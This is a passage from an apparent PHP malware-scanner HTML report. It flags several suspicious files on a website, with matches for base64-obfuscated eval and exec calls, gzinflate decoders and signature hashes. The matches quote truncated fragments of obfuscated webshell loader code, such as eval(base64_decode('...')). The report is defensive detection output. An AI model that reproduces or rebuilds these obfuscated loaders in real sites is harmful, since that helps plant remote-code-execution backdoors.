</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_138").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovaqxqmrl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:11:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:11:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_139" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_139").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/yazrz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-30 13:12:59</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-30 13:12:59</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_140" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_140").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zjtte.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:56:45</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:56:45</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_141" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
